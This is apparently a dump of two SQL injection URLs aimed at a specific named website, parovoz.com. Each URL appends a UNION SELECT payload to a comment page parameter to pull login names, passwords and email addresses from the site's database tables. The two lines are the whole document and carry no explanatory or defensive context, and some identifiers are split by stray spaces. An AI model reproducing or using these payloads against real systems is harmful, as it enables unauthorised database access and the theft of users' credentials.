http://parovoz.com/thisday/comment.php?ID=29'+union+select+unhex(hex(concat_w s(0x3a,login,password,email))),2+from+gallery.auth ors+where+id=1+limit+1,1/*

http://parovoz.com/thisday/comment.php?ID=29'+union+select+unhex(hex(concat_w s(0x3a,id,name,password))),2+from+gallery.rrr1+lim it+1,1/*